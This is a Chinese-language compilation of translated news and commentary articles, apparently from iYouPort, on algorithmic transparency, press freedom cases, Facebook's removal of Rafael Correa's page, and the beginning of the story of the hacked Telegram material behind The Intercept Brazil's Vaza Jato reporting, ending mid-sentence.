新软件正在进入公共部门，帮助识别罪犯、匹配学生身份、指导刑事判决、并帮助确定社会福利。但很少有公民知道这些技术的存在，或者它们是如何被使用的。公众应该意识到，所谓的商业秘密和保密协议可以完全阻止公众了解技术是如何运作的。

“这些公司的行为是出于私人利益，但他们的决定具有相当大的公共影响，”加州大学戴维斯分校的法律教授 Elizabeth Joh 在2017 年写道，“这种危害影响包括对第四修正案的歪曲、设计责任的破坏以及对透明度规范的削弱。

在即将发表的一篇论文中，伯克利法律和技术中心的联合主任 Sonia Katyal 认为，保护政府购买软件的知识产权法正在悄然超越民权问题。“在人工智能的背景下，我们看到一个世界，有时，知识产权原则会阻止公民权利充分应对技术挑战，从而导致新一代公民权利完全停滞不前，” 她写道。

纽约大学教学研究员 Amanda Levendowski 表示，在透明度失效的情况下，活动家、律师和技术工作者正在转向采取越来越多的策略以对算法和其他技术进行更多的监督。

“如果我们不知道人工智能系统被如何用来监视我们 — 或者我们不了解技术本身，公众就不可能就人工智能系统是否公平、负责、透明或道德进行任何讨论，“她说。

透明度的一个重大障碍是所谓的“计算机欺诈和滥用法案”，该法案于1984年写成，旨在保护政府机构的计算机系统免受黑客攻击。ACLU Washington 的技术和自由项目总监 Shankar Narayan 说，私营部门公司能够避免对其系统进行外部审计 — — 无法了解其偏见或其缺陷 – — — 他们经常引述该法案声称审计是一种未经授权的访问形式。**CFAA** 必须改革才能支持民间社会针对不透明的算法系统进行独立审计。

在没有关于算法的重要法律的情况下，一些市政当局正在为公共部门算法实施自己的透明度规则。2017 年，纽约市议会通过了一项算法问责制法律，创建了一个工作组，就城市机构如何分享与自动决策系统相关的信息提供建议，分析这些机构如何处理危害公民的情况。

在法案听证会上，“发起人 James Vacca 甚至不知道每个使用算法的机构都是谁、或他们如何使用这些算法，”Levendowski 说，他过去五年一直在跟踪监控技术的采购。这些机构的一些代表本身也不知道这一问题。“如果这些人都不知道，公众就很难弄明白这一点了。”

加利福尼亚州的一些城市已经通过了一些最严格的监管技术采购法令。圣克拉拉县于2016年通过了监管法令，要求各政府机构制定一项政策，披露“可收集的信息/数据，数据访问，数据保护，数据保留，公共访问，第三方数据共享，培训和监督机制。“

去年，伯克利市通过了一项法律，为购买快速增长的监控设备提供了更加透明的流程，如面部识别设备、**Stingray** 蜂窝基站模拟器、社交媒体分析软件、和车牌阅读器。奥克兰紧随其后。西雅图和马萨诸塞州的剑桥也是少数几个通过了监管条例的城市。

当礼貌要求透明度不成功时，律师和活动家已经成功地辩称，商业秘密和 **NDAs** 侵犯了正当程序的个人权利。一般来说，正当程序允许人们捍卫美国法律赋予他们的权利，并对政府的行动提出异议。

透明度工具包中的其他法律操作也包括信息自由法案请求，并在必要

时提起诉讼以强制执行。

2016年6月，纽约大学法学院 Brennan 司法中心向纽约警察局提出了“信息自由法”（FOIL） 请求，“寻求与预测性警务技术的获取、测试和使用相关的记录。”在纽约警察局根据商业秘密和警方保密的 FOIL 请求采取了抵制后，Brennan 中心于2017年9月提起诉讼，并指出纽约市已经花费近**250**万美元用于 **Palantir** 制造的预测性警务软件。

该诉讼还透露，该部门测试了 KeyStat 公司和 PredPol 公司的另外两个预测性监管平台。与此同时，NYPD 文件显示，该机构没有严格的隐私政策来管理其使用预测性警务软件，也无法生成显示已进行强制审计的记录。

2017年12月，法官驳回了纽约警察局的诉讼请求。虽然法院驳回了 Brennan 中心对用于训练预测性警务算法的数据的要求，但它命令警察部门提供与供应商的电子邮件通信、测试的输出数据以及 NYPD 数据分析助理专员的说明。

“公民有权了解监管其社区的执法机构使用的工具、成本和标准做法，” 布伦南中心的律师 Rachel Levinson-Waldman 写道。“在这种情况下，花了一年半的时间和一场诉讼，最终得到了应该在一开始就向公众提供的部分信息。”

上周，纽约警局在争夺保密的斗争中又输了一次。一群 Black Lives Matter 活动人士在2014年的一次抗议活动中被警方监视电子设备。法院驳斥了纽约市警察局的声称，该裁决要求纽约警察局披露与其使用 **Dataminr** 相关的记录 — — 这是一种社交媒体监控软件包，以及用于中断手机服务的技术记录。

伯克利教授 Katyal 认为，由于关于新技术的关键民权问题存在于私人领域，而非公共领域，“如果我们只关注国家来解决算法问题，那肯定是错误的方向“。

她说，软件透明度的一个潜在强大力量必须来自公司内部。去年，技术人员开始打破沉默，他们解释了很多活动都集中在政府合同上。在一些员工签名的信函中，工作人员引用了对算法偏差和使用算法的整体道德的担忧，并且在某些情况下，要求他们的公司完全退出政府合同。

去年春天，有 3,100 名谷歌员工抗议该公司收购 Project Maven，这

是一个利用 AI 分析无人机视频的五角大楼项目。该公司表示，它将放弃赢得合同的努力并制定一套人工智能原则。

受到谷歌员工的启发，微软员工也奋起反抗，呼吁公司制定人工智能原则，为产品开发和销售流程带来透明度。“一开始就建立并维护这些服务的工人如何知道我们的工作是用来帮助进行剖析、监视还是杀人？”员工写道。

在他们最近的报告中，AI Now 研究人员强调了科技工作者在要求透明度方面的新兴重要性，因为许多工程人员“具有相当大的辩论能力，并且具有独特的优势，可以要求雇主进行变革。”

该报告呼吁科技公司在董事会中提供员工代表，并要求公司建立外部道德咨询委员会以及独立的第三方监督和透明度工作。微软、谷歌和 Facebook 已宣布旨在评估其软件的社会影响的内部道德项目，去年，身体相机和电子枪制造商 Axon 也推出了道德委员会。董事会由外部顾问组成 — 包括伦理学家、警察官员和坚决反对公司面部识别野心的律师 — — 但是，董事会对公司的建议不具约束力。

在这里看到视频：

举报人也证明了揭露高度争议性技术的关键，包括谷歌的中国 Dragonfly 项目，该项目试图将其服务的审查版本带入中国。员工在8月份向 The Intercept 披露该项目之后，据报道，广泛的员工抗议和公众抗议导致该公司搁置了该项目。

尽管如此，公司高管尚未公开表示他们将停止 Dragonfly 的发展。1月3日，著名的谷歌工程师Liz Fong-Jones 表示， 她将在工作了11年后辞去互联网巨头公司的职务，因为她对自己的方向不满意，“这里缺乏问责和监督”。

展望未来，员工在确保透明度和问责制方面的价值可能会增长。除了鼓励举报人说出来之外，主要的挑战还在于如何通过政府法律或公司政策，在科技行业著名的保密文化中为这些举报人提供保护 — — 保护他们免于因说真话而遭受巨头的迫害。

“幸运的是，我们开始看到研究人员、活动家、律师、有关技术工作者和民间社会组织之间建立新的联盟，以支持 AI 系统的监督、问责和透明度，”AI Now 报告说。

How to lift the veil off hidden algorithms? In the absence of rules

around algorithms, activists, lawyers, and tech workers are hacking transparency through other means.

原文

对透明度革命的大清洗正在开启 - iYouPort

透明度革命

他们可以随意绕避正义的法律并用邪恶的法律将你治罪，这就是问题所在。

「图」

「图」

这里是旧金山 —— 这个一直被认为是与特朗普截然相反的进步堡垒 —— 当地警察在民选官员的帮助下，瞄准一名记者、并以一种让特朗普嫉妒的热情侵犯他的权利。

旧金山的居民应该感到愤怒，这个城市如此严重地侵犯了他们曾经引以为傲的新闻自由。

不到两周前，旧金山的执法当局突袭了自由撰稿人 Bryan Carmody 的家。

这些条子挥舞着他们的枪，给 Carmody 带上了手铐，并没收了数千美元的电子设备。

他一直被锁了六个小时的手铐，当局搜查他的房子，并试图以“泄密”为幌子审问他。

这是因为几个星期前，Carmody 出版了一篇文章 —— 基于泄露的警察报告、录像和一些采访 —— 关于当地公共辩护人的死亡真相。

这是对第一修正案骇人听闻的违反。

但当地立法者的初步反应 —— 其中许多人经常反对特朗普侵犯公民自由 —— 几乎与此行为本身一样糟糕。

政治领导人本能地为袭击辩护，并对报道和第一修正案的实际运作方式表现出令人尴尬的无知。

甚至就连旧金山市长 London Breed 也发表声明称，“我支持这一决定” 袭击 Carmody 的家，辩称警察经历了“适当的法律程序”。

越来越多的抗议使得 Breed 最终改变了她的说辞。

她在推特上写道，她“感觉警方突击搜查记者不合适”，但执法部门选择了变本加厉。

警方在新闻发布会上宣布，他们正在对 Carmody 的“泄密事件”进行刑事调查，而不是道歉。

与此同时，他们完全回避了关于突袭记者几乎肯定是非法的这一根本性问题。

加利福尼亚州曾经制定了“保护法”，旨在保护记者不至于在这些类型的情况下泄露其信息来源。

法规的语言很明确：在任何情况下，警方都不能获得逮捕令以强迫记者暴露其信息来源。在进行任何搜查之前需要获得搜查令，记者可以在法庭上对其提出质疑。

但是，获得逮捕令，他们真的做到了。

不幸的是，我们不知道警方是如何说服法官同意他们的抄家计划的，因为法院到目前为止一直保密逮捕令的细节。

正如第一修正案联盟的 David Snyder 所质问的那样：“这些法官是否了解 Carmody 作为记者的身份？警察局是否隐瞒了这一身份？即使他们知道 Carmody 是一名记者，法官是否依旧授权搜查令？”

公众应该知道这些问题的答案。

公共辩护人 Jeff Adachi 长期以来一直是警方机构的眼中钉，而且人们普遍认为警察部门内的任何人都有可能向 Carmody 泄露了报告，这可能是为了让 Adachi 的死亡看起来很糟糕。（警方报告称，Adachi 被发现携带毒品，并包含一些其他私人的不怎么雅观的细节）

但是，泄密者的动机应该与 **Carmody** 作为记者的权利完全无关。这才是重点。

警察局长声称 Carmody “越界”，但是没有提供一丝证据表明他做了

任何违法行为。

这位官员似乎并不理解获取当局可能不希望公开的重要信息正是记者的职责。

令人遗憾的是，旧金山警察局 —— 以及为他们辩护的当地政界人士 —— 正在向特朗普政府提交一份危险的行动路线图，以便可能大模大样地起诉记者。

特朗普政府正以前所未有的速度起诉记者，而特朗普本人则表示他希望看到记者入狱。

正是这种阴谋论 —— 记者为与机密信息持有者交谈或要求提供机密信息是“犯罪行为”的想法 —— 让新闻自由倡导者无比担心。

> 新闻工作永远不会让当权者感觉舒服，但这并不意味着民选官员应该放弃保护我们宪法权利的义务。

特朗普不是第一个走这条邪路的人。

在奥巴马政府执政期间，司法部甚至将福克斯新闻的记者 James Rosen 列为“间谍活动的同谋”，该案件涉及他的前消息来源，国务院官员 Stephen Kim。

司法部甚至拿出了授权，可以搜查记者 Rosen 的私人电子邮件。

在公众强烈反对这种威胁行为之后，司法部收回了刑事诉讼。

当时的司法部长 Eric Holder 后来说这件事是他上任六年来"最大的遗憾之一"。

特朗普显然没有这种顾虑。

事实上，特朗普的司法部门以前所未有的举动向 Wikileaks 记者 Julian Assange 提起了十多项指控，控告他“获取”机密信息并将其公之于众。

许多新闻自由倡导者认为，这可能会使新闻采访和出版过程的关键工作变成了刑事犯罪，并使得像纽约时报和华盛顿邮报这样的报纸的数十名调查记者非常容易遭受起诉。

旧金山居然给了特朗普这样一个可以直接起诉记者的蓝图，震惊了所

有良知。

不论是自由派政客还是保守派政客，新闻业永远不会让当权者感到舒服 —— 但这并不意味着民选官员应该放弃保护我们宪法权利的义务。只是因为记者发表了他们可能不喜欢的东西。〇

Journalism Is Under Unprecedented Assault. Recent controversies involving both Julian Assange and the San Francisco police show the First Amendment is under dire threat 广告

原文

并非巧合 - iYouPort

Wikileaks透明度革命

社交媒体巨头周四证实，Facebook 尚未解封厄瓜多尔前总统拉斐尔·科雷亚的网页，该公司声称这位受欢迎的前领导人“违反了该公司的安全政策”。

在厄瓜多尔报纸 El Comercio 的一份声明中，该公司发言人说：

“我们有明确的政策，不允许披露个人信息，如电话号码、地址、银行帐户数据或任何可能危及社区人民的身体或财务状况的信息。“

请注意，此举是在厄瓜多尔政府允许英国维稳部队进入他们在伦敦的大使馆逮捕记者和 Wikileaks 创始人 Julian Assange 的同一天，由于他在曝光涉及华盛顿的丑闻以及一系列罪行如战争罪信息方面的作用，多年来一直被美国官员追捕。

//#AlertaDigitalEC// *Página en Facebook del exPresidente* //@MashiRafael//*no puede ser accesada, se desconocen motivos—link* //https://t.co/aerBqw6kcl////pic.twitter.com/87oTEW4lAI//

— *Usuarios Digitales* (@usuariosdigital) April 12, 2019

现年47岁的 Assange 自2012年以来一直被困在伦敦的厄瓜多尔大使馆的地下室，当时的总统科雷亚在英国政府企图拘留他的过程中向这位澳大利亚公民提供了政治庇护。当时，科雷亚称 Eduador 的保护政治难民行为属于主权“义务”。

但是，厄瓜多尔现任领导人列宁莫雷诺为了讨好美国多次公开反对 Assange，称其为“鞋子里的石头”。在2017年与特朗普的前竞选主席保罗·马纳福特会面后，莫雷诺开始与庇护者保持明确的距离，这次会面中两人讨论了厄瓜多尔要将 Assange 移交给英国和美国当局的问题。

今年3月，Wikileaks 公布了一份名为 INA Papers 的文件，这些文件揭露了总统列宁莫雷诺与INA投资公司之间的紧密联系，后者是莫雷

诺用于采购家具、房产和各种奢侈品的海外空壳公司。列宁莫雷诺的腐败被曝光，激起了他更大的怨恨。

总统用来洗钱的离岸账户的账号被各种政治立场的网民在厄瓜多尔的社交网络上分享，其中包括 Correa—— 他拥有约150万粉丝，其 Facebook 页面比莫雷诺本人拥有更多的互动和关注。

这个洗钱账号还与莫雷诺的个人照片一起被流传，这些照片中显示他们享用各种丰盛的早餐和龙虾晚餐，这激起了厄瓜多尔人民的诅咒，因为莫雷诺之前曾吹嘘过“由鸡蛋和白米组成的严峻贫困饮食“。

这也是新自由主义的厄瓜多尔政府企图在持续的债务危机中讨好欧洲和美国的金融家的过程。

3月份，国际货币基金组织最终以超过42亿美元的价格“拯救了”莫雷诺政府。

在删除该页面之前，Correa 在他撰写本文时仍然留在 Twitter 上的一系列帖子中抨击列宁。

Christine:

I do not know what to tell you. I only ask forgiveness from me and my people. A traitor and corrupt like Moreno does not represent us. I promise not to rest until I see him in jail, where he deserves to be. //https://t.co/DqH0HiaIMP//

— Rafael Correa (@MashiRafael) April 11, 2019

自2015年以来，一直与家人一起住在比利时布鲁塞尔的 Correa 使用社交平台发挥了重要作用，在厄瓜多尔媒体集体闭嘴前他使用措辞强大的帖子、视频采访、和现场直播作为平台领导人活跃在舆论前线。

前总统科雷亚在评估莫雷诺时毫不讳言，用英文推文谴责这个列宁为“厄瓜多尔和拉丁美洲历史上最大的叛徒……莫雷诺是一个腐败的人，但他所犯下的罪行是人类永远不会忘记的。”

The greatest traitor in Ecuadorian and Latin American history, Lenin Moreno, allowed the British police to enter our embassy in London to arrest Assange. Moreno is a corrupt man, but what he has done is a crime that humanity will never forget. //https://t.co/XhT51MA6c6//

— Rafael Correa (@MashiRafael) April 11, 2019

在回应莫雷诺宣布移交 Assange 的另一条推文中，科雷亚进一步表示列宁的行为是“奴性、恶意和报复的最残暴的行为之一”。

“从现在开始，全世界的恶意和背叛都可以用这两个词来概括：列宁莫雷诺，”这位受欢迎的前总统补充道。

Facebook 删除 Correa 的页面是一个前所未有的举动，前政治家是最受关注的公共政治人物，然而却从社交平台中被删除了—— 这完全是政治性的审查举措，禁止 Correa 曝光列宁的洗钱账户以保护后者这位拼命讨好美国的腐败者。

FACEBOOK REMOVES PAGE OF ECUADOR’S FORMER PRESIDENT ON SAME DAY AS ASSANGE’S ARREST. The move comes on the same day that Ecuador’s government allowed British security personnel to enter their embassy in London to arrest journalist and WikiLeaks founder Julian Assange

原文

当吹哨记者遇到黑客... - iYouPort

让它民主-公民掌握真相的技巧和技术透明度革命

透明度革命是一场战斗，其中每一位参与者的每一步选择都应该采取具有战略性的思考方式。

【按】这是一个精彩的故事，可能比电影更好看。但是，请注意，这篇报道中有多个关键的信息主题，它们以同等的分量喷洒出来，但其中只有一部分是真正关键的。您需要准确抓住它们。嗯，是的，包括 Telegram。

全世界每一位订阅 Intercept 的读者都会在去年秋天收到一封邮件，来自与斯诺登合作处理吹哨文件的记者 Glenn Greenwald，那是一封求助邮件，Glenn 说为了躲避暗杀威胁，他即便是上厕所也不敢脱下防弹背心。这篇文章所讲述的就是这封邮件背后的故事。

这是一个用死亡威胁、羞辱和真正的谋杀来封口说真话的人的国家 —— 您不应该幻想在您的国家不会出现同样的事。这篇报道可以作为对未来与吹哨人合作的公民调查人员的一个警示 —— 关于，当泄漏信息来自黑客时，您需要小心什么。

这是通过这篇报道您需要抓住的主题之一。事实上这个主题已经以更惊人的方式呈现给每个人了 —— 那就是华盛顿政府违宪起诉吹哨平台 Wikileaks 的最主要的 “理由”，即 声称吹哨平台 “协助黑客行为”，试图将新闻自由问题强行篡改为黑客问题。请注意：**Assange** 只是教会了曼宁关于如何保护自己的数字知识，并不是教给她如何入侵；但是，当权者的起诉可以抓住这点来诋毁吹哨平台。这就是发生在 Glenn 身上的事。

当权者的起诉会抓住任何他们能 “引申” 出来的所谓疑点，其目的是尽可能地牵制公众的注意力以远离吹哨行为为当权者带来的尴尬。即让人们忘记吹哨内容，以全力将叙事构建在对吹哨人的个人 “特点” 的关注上。

这篇报道也变相使用了这种手段，它用大量文笔讲述了泄密黑客作为

一个社会边缘人士的个人生活简史，而只用很少的笔墨讲述了此次泄密是该国历史上最大规模的吹哨事件。尤其是，所有信息完全真实。

Glenn 在此是非常幸运的，他最终躲过了被起诉和暗杀的威胁，但并非每一位吹哨记者都能有这样的幸运，你所揭露的罪行越恶劣，幸运对你来说就越是稀有。现在您明白了为什么我们对某个公开宣称依赖黑客入侵泄漏内容的新兴吹哨平台的信任度不够了？

理论上，吹哨记者完全不需要知道信息的来源是什么，他们的职责仅仅是证明泄漏的内容是真实的；但是现实中，可能不是那么简单，当权者会全力借助公众对“黑客”这个概念的普遍误解，而引导人们相信另一套能帮助当权者脱罪的叙事 —— 是的，他们会加强攻击“黑客行为”，从而占据道德制高点，甚至宣称“外国敌对势力的阴谋”，以转嫁国内政治危机，就如本文中这位检察官所做的那样。

IYP支持黑客主义，我们也提供了相关内容，我们认为黑客主义是21实际反抗的有力形式之一；在透明度革命中，当体制内没有斯诺登那样的勇士主动泄漏真相时，黑客主义也许是唯一的办法。但泄漏只是透明度革命的第一步，更重要的第二步是吹哨平台必须解读这些证据，以帮助公众理解这其中事关民主利益的真相。当您是协助吹哨的公民调查人员时，您应该做出更全面的思考。

📌 透明度革命是一场战斗，其中每一位参与者的每一步选择都应该采取具有战略性的思考方式。

- 不要错过《(公民)调查记者如何与吹哨人合作：7点提示》
- 《简易吹哨平台传输泄漏数据：洋葱汤指南》

「图」

「图」

「图」

「图」

2019年5月的一个周日早晨，流亡巴西的美国调查记者 Glenn Greenwald 正坐在他位于里约热内卢的家庭办公室里，他接到一个他不认识的号码打来的电话。他没有接听。但30秒后，一条 WhatsApp 消息从 Manuela d’Ávila 那里传来 —— 她是巴西左翼政治家，前一年与中左翼工人党的总统候选人一起竞选副总统；他们的票数被排在极右翼的前军事领导人雅伊尔·博索纳罗（ Jair Bolsonaro ）之后。

d’Ávila 写道，“Glenn，我需要和你谈一些紧急的事。”

Glenn Greenwald 是协助爱德华·斯诺登吹哨的美国调查记者，他和 d’Ávila 并不熟，于是这条周末的留言引起了他的兴趣。当她解释说她偶然发现了一个惊人的潜在故事想通过电话交谈时，Glenn Greenwald 冲下楼去卧室叫醒了他的丈夫 —— 巴西左翼政治家 David Miranda，David 更了解 d’Ávila。

当 Glenn 和他的丈夫给 D’Ávila 开了免提后，D’Ávila 开始讲述一个奇怪的故事 —— 有人刚刚入侵了她的 **telegram** 账户，入侵者答应给她发送 “拯救国家” 的证据。

Glenn 不得不请她慢点说。“她当时太兴奋了”，他说。**D’Ávila** 解释说，黑客声称掌握了牵扯到现任总统博索纳罗政府、特别是巴西司法部门和公安部门的爆炸性材料。

【注：Glenn 流亡巴西后一直在继续批判政权的工作。右翼领导人博索纳罗上台后，他借助7年前为斯诺登文件的曝光而创立的新闻平台 TheIntercept 的巴西分部揭露博索纳罗政权和其家族的腐败内幕，因此遭到政府的暗杀威胁。但他从来没有妥协。Glenn 的丈夫 David Miranda 担任议员，是另一个角度上对博索纳罗政权的制衡力量。Manuela d’Ávila 也一样，这就是为什么她对黑客承诺提供的证据如此兴奋。但要证实和使用这些爆料，她需要专业的调查记者和平台的协助，于是她找到 Glenn。】

D’Ávila 在打电话，想要看看能不能把消息来源转给 Glenn。Glenn 同意了。

但马上，问题就出现了。

那个消息来源想要通过 Telegram 和 Glenn 说话，但 Glenn 没有安装这个应用程序 。“我最信任的人，包括斯诺登，多年来一直在警告关于 **Telegram** 的漏洞”，**Glenn** 解释说 —— 那个黑客刚刚演示了这种入侵有多么容易。不过，在 D’Ávila 的电话后，Glenn 还是安装了 Telegram，并谨慎地进行了联系。他对这一爆料太感兴趣了。

【注：这事实上是吹哨记者的义务 —— 告知吹哨人（不论此人是什么身份，只要其声称有内幕证据，就应该预设其为吹哨人）关于信息传输媒介的危险性，但如果对方坚持使用其提出的媒介，吹哨记者就应该接受这一提议。Glenn 接受了 Telegram，虽然他知道 Telegram 不安全】

“幸运的是，我不需要说太多话，只要听对方说就行了”，Glenn 回忆说。用葡萄牙语发送消息，该消息来源声称自己拥有大量的资料。他说他已经翻阅了好几个月，只读到了其中的10%，但他已经找到了勾结的证据，如果这些证据被揭穿，会给巴西政坛带来火灾。

消息来源开始给 Glenn 发送例子 —— 音频信息，一些文件。

几分钟后，对方问能否通过电话交谈。这再次给 Glenn 敲响了警钟。文字交流可以用代理和加密来伪装，但是，对于任何可能监视他们的人来说，声音是非常容易被识别的。“我直到亲自去香港才听到斯诺登的声音”，Glenn 说。他在强调斯诺登非常清楚监视机构在声音识别方面的能力。

【注：美国间谍机构针对电话的监听是在全球范围内的，他们可以实时过滤语音信息中的特定敏感词，并且可以回溯筛查；尤其是，你不会知道他们感兴趣的敏感词都是什么。这些信息正是来自于斯诺登文件，在这看到《政府间谍如何监听并自动识别电话通话中的敏感词?》】

然而 Glenn 还是按捺不住了。他接了电话，让这位自称 “住在美国的、就读于哈佛大学” 的消息来源实现了大部分谈话。

这个消息来源向 Glenn 解释说，Telegram 上的一位 “好友” 向他介绍了这款应用的俄罗斯创始人 Durov 兄弟，并通过他们获得了个人 Telegram 账户。“这没什么意义”，Glenn 说 —— 为什么要创建一个声称安全的消息应用，并把它的后门钥匙交给别人？Glenn 依旧怀疑这个黑客讲述的哈佛故事。

“你足够小心了吗？” Glenn 问道：“要知道，你做的事很危险。”

“哦，是的，不用担心这个。他们永远也抓不到我”，那个消息来源吹嘘道。他说，他使用了多个代理服务器，使任何人几乎不可能找到他，他再也不会踏上巴西的土地了。

这通电话大约有四分钟时长 —— Glenn 把它描述得很短，但他说他想看看对方承诺的文件。“好的，我马上开始把文件上传到你的手机上”，那个消息来源说。他告诉 Glenn，需要12～15个小时才能完成上传。

通话后，Glenn 开始通过他的 Telegram 账户接收文件 —— 数量庞大，一个接一个。偶尔，消息来源会插话，兴高采烈地告诉 Glenn 仔

细看某份文件。

直到当天晚上 Glenn 准备睡觉的时候，那些文件还在不断地进来，第二天他早上醒来的时候那些文件的上传还没有完成。

“每次我打开我的 Telegram 应用，那些文件都在不停地涌入”，Glenn 说。“这时我才意识到这个档案是巨大的。而且我很相信这是真的。”

从一开始，Glenn 和 Miranda 讨论了从事吹哨工作的危险。与斯诺登案不同的是，这一次，Glenn 将与他要揭露的政府当局生活在同一个国家。而 Miranda 在其前任伴侣、来自同一党派的 Jean Wylly，当年因遭遇死亡威胁和对同性恋者的辱骂而逃离巴西从而放弃了席位。**2018**年，一名左翼政客、也是 **Glenn** 和 **Miranda** 的密友，名叫 **Marielle Franco**，在她自己的车子里被暗杀；两名前警察被控谋杀她。

那通电话的同一个周日，Glenn 给巴西 Intercept 的执行编辑 Leandro Demori 打了电话，该报是 Glenn 在2014年斯诺登泄密事件后共同创立的媒体集团的一部分。Glenn 问 Demori 是否可以坐下来细谈。“这很严重”，他说，“你现在需要坐下来”。

正在收拾行李准备度假的 Demori 当时正趴在床上。当他听着 Glenn 的话时，他的下巴都快掉下来了。“哦我的上帝啊”，他想，“这可真够大的。”

一旦他对材料有了感觉，Demori 就热情地给这个项目开了绿灯。Intercept 的法律团队也同样如此。

在 Glenn 起草第一组文章时，他与那个黑客 —— 或者可能是一群黑客 —— 保持着定期联系。在某些时候，Glenn 有一种印象，他至少在和两个人交谈。其中一个人看起来有些天真和理想主义，Glenn 说。“然后，突然间什么东西好像变了，我觉得我在和一个更愤世嫉俗的人说话 …… 这个人更滑稽一点，也更复杂一点”。偶尔，那个消息来源也的确会说 “我们” 而不是 “我”。

然而，黑客对于他或他们想要的东西是一致的。“我这么做只是因为我想清理我的国家”，对方告诉 Glenn 说。而此消息来源一再坚称自己没有任何经济利益。**Glenn** 认为，最重要的是，这些材料本身是真实的。

「图」

「图」

Glenn Greenwald

6月9日周日晚，在 Glenn 第一次与黑客对话近一个月后，巴西 Intercept 分部准备好进行吹哨了。平时在家工作的 Glenn 来到了里约的新闻编辑室。下午近6点，团队发表了三篇文章，他们说这些报道借鉴了一个匿名消息来源提供的大量材料文档。

这些报道显示了一群联邦检察官如何策划阻止工人党赢得**2018**年总统选举。这些检察官曾是一个庞大的反腐专案组的成员，该专案组在葡萄牙语中称为 “洗车行动—Lava Jato”。他们的调查声称发现了一个庞大的洗钱系统和国有公司与巴西最大政党主要人物之间的贿赂网络。这些揭露导致数百人被定罪，其中最突出的是前总统 Luiz Inácio Lula da Silva (俗称卢拉)，他于2010年卸任，是世界上最受欢迎的政治人物之一。

【注：卢拉，Luiz Inácio Lula da Silva，巴西左翼政治家，2003年—2010年出任巴西总统。现在每个人都知道了，卢拉的被捕是政治迫害。】

这些“洗车行动” 的检察官指控卢拉收受了一套海滨三层楼房作为回扣—— 从此，他们把他描绘成一个庞大的腐败网络的 “最高领导人”。2018年，卢拉入狱，并被阻止作为工人党候选人参加当年的总统选举。

卢拉一直是获胜的大热门，而他的资格被取消，为极右翼候选人博索纳罗在民意调查中的惊人胜利铺平了道路。博索纳罗获胜后，主持那个洗车行动案的法官 Sérgio Moro 被任命为司法和公安部长。凭借其作为所谓的反腐斗士的名声，Moro 已经成为巴西最受欢迎和最有权势的政客之一。

但是现在，Intercept 的泄漏显示 Moro 如何在他本应裁定的案件中与洗车行动检察官勾结，包括定罪卢拉的案件。

这份报道上线5分钟后，其在 Intercept 网站上的早期阅读量就已经是该网站发布的任何其他报道的六七倍。很快，#VazaJato 就在社交媒体上成为了热门话题。几个小时后，巴西最大的广播公司 Globo 的旗舰新闻节目中就出现了 Intercept 的报道。

Glenn 觉得媒体的迅速跟进特别令人欣慰，因为他知道自己可以继续

为这个报道系列提供素材。“我知道，一旦最初的反应以这种方式发生，它就可以在数周甚至更长时间内主导政治和头条新闻”，他说。

左翼政党很快就要求 Moro 辞职。他拒绝下台，称自己是那些技术娴熟、资金雄厚的黑客恶意、协调的网络攻击的 “受害者”。他还暗示有外国敌对势力参与，并尖锐地提到 Telegram 的俄罗斯起源。

Moro 的影射几乎没有涉及 Intercept 报道的实质内容，但他们确实涉及到了一个大家都在讨论的问题 —— 谁是 Glenn 的消息来源？（简单说，公众舆论被带偏了）

「图」

「图」

Intercept巴西编辑部

「图」

「图」

Walter Delgatti Neto 在距离圣保罗四小时车程的阿拉拉夸拉（Araraquara）长大。阿拉拉夸拉是一个拥有20万人口的小城市 —— 与爱达荷州博伊西的面积差不多，是一个由低矮的平顶建筑组成的宜人居住区，周围是一望无际的绿地。

Delgatti 与父母在阿拉拉夸拉生活，直到他7岁时，他们分开了。随后，他被扔给了爷爷奶奶。“我的母亲把我留在了奶奶家的人行道上，“de mala e cuia”—“捉襟见肘”。小时候，Delgatti 很难交到朋友。与巴西人不同的是，他有一头赭红色的头发，这使他获得了一个绰号 Vermelho，在葡萄牙语中是 “红色” 的意思。Delgatti 还要与自己的体重作斗争。他经常被人欺负。

据 Gustavo Henrique Elias Santos 说，他从大约15或16岁起就认识 Delgatti，Delgatti 是一个复杂的年轻人。“我总是觉得他很可怜”，Santos 说，“他有一个奇怪的家庭。”

Santos 对 Delgatti 最早的记忆是在阿拉拉夸拉的一次聚会上，Santos 在那里作为DJ进行表演。Santos 注意到，观众席上唯一真正注视着他的面孔是 Delgatti，从人群中露出了奇怪的笑容。

虽然 Delgatti 成功地与他建立了难得的联系，但 Santos 学会了不要

相信 Delgatti 告诉他的很多事。“Delgatti 很擅长讲故事”，Santos 说，“并不是说他说的每一句话都是谎言”，他补充道，“但他不知道如何说出全部真相。他写的剧本很棒。”

Delgatti 和 Santos 慢慢长大了，成了小小的麻烦制造者。2013年5月的一个早晨，当时24岁的 Delgatti 和当时22岁的 Santos 在通往阿拉拉夸拉的高速公路上被警察拦下。在他们的银色丰田车内，警察发现他们持有假证件、偷来的信用卡、14张支票和一千多巴西雷亚尔的现金，以及一张显示金额为180万雷亚尔（约合90万美元）的银行对账单。

两人打电话给他们认识的当地律师 Ariovaldo Moreira。当 Moreira 律师赶到警察局时，局长告诉 Moreira，这对年轻人一直无法说明现金和银行账户中的资金是怎么来的。当 Moreira 看到银行对账单时，他注意到了一些警察局长没有注意到的细节。Delgatti 伪造了对账单，而银行账户并不存在。他很可能是为了讨好一个女孩，“这方面他是天才”。

Moreira 将 Delgatti 和 Santos 描述为当时的小骗子，他们很少参与任何严重的事。他们尽管没有工作，但往往有很多钱。他们制作的视频显示，汽车后备箱里装满了现金和金链子。

他们是枪支爱好者。“他们的生活就是一部电影”，Moreira 说。20岁出头时，Santos 因非法持有枪支而被定罪。

Delgatti 的犯罪记录更长，常常模糊了恶作剧和小骗局之间的界限。Moreira 回忆说，Delgatti 如何用伪造的信用卡预订昂贵酒店的住宿；他在加油站加满油，然后不付钱就开车离开。他逃过餐厅账单，尽管他有现金支付账单 ——“只是他自己承认的这部分”，Moreira 说。Delgatti 否认他做过这些事。

2015年，当他26岁的时候，Delgatti 在一个主题公园里亮出一个假警徽，试图插队乘车，被抓了个正着。当一名真正的警察逮捕他时，Delgatti 把警察带到了 Santos 和其女友所在的一辆车前。警官在后备箱里发现了一把枪，Santos 被逮捕。

接近 Delgatti 的人永远不会知道他为什么要做一些事。Moreira 说，Delgatti 可以从欺骗他人中获得乐趣。“他是个难以捉摸的人”，Moreira 说。

如果有的话，Delgatti 似乎主要是出于对名声甚至恶名的渴望。不

